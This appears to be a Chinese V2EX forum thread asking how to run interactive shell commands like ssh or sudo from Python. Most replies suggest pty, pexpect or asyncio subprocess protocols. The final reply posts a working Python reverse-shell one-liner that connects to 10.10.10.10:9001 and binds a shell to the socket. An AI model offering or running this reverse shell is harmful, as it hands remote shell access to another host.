Python 如何运行有交互的 Shell 命令

2022 年 10 月 16 日
 monetto

运行单次命令的时候,一开始用的是 popen()

后来用的是 subprocess.Popen('/bin/sh', shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT),因为这样可以获取上下文。 (例如 export a=5, echo a)

但是这样还是运行不了 ssh 或者 sudo su 等有交互式的命令,有什么好的方法可以解决吗

( PS: 我知道有 ssh 或者 sudo 的附带密码方案,但是这样解决不了所有的交互式问题)

2732 次点击
所在节点    程序员
7 条回复
cxtrinityy
2022 年 10 月 16 日
import pty;pty.spawn("/bin/sh")
cxtrinityy
2022 年 10 月 16 日
@cxtrinityy 可能理解错了, 请忽略
bantianys
2022 年 10 月 16 日
pexpect 这个模块能满足需求吗?
LindsayZhou
2022 年 10 月 16 日
如果你是要手动敲,stdin 参数可以用 sys.stdin 。
如果你是要自动输,我记得返回的对象有个 stdin 属性可以往里写东西。

如果你要是用 asyncio 包,还可以自己继承 Protocol ,重写 pipe_data_received 方法。这个没什么文档,你要翻 py 源码。
LindsayZhou
2022 年 10 月 16 日
# 4

关于自动响应。
如果你感兴趣,我的代码里是用的重写 SubprocssProtocol 的方式: https://git.sr.ht/~lindsay/poke/tree/master/item/poke/context.py

入口是 Context.shell 函数,Watcher 对象是一个简单的包装,只有用来匹配的正则,上次匹配位置(避免重复匹配),自动响应文本。

invoke 包里也有一个 responder 类,不过它的实现方法更麻烦,好像另外起了一个线程来监听输出。
leonshaw
2022 年 10 月 16 日
开个 pty ,slave 给到子进程,master 上读写
jindom
2022 年 10 月 17 日
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://study.congcong.us/t/887285

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX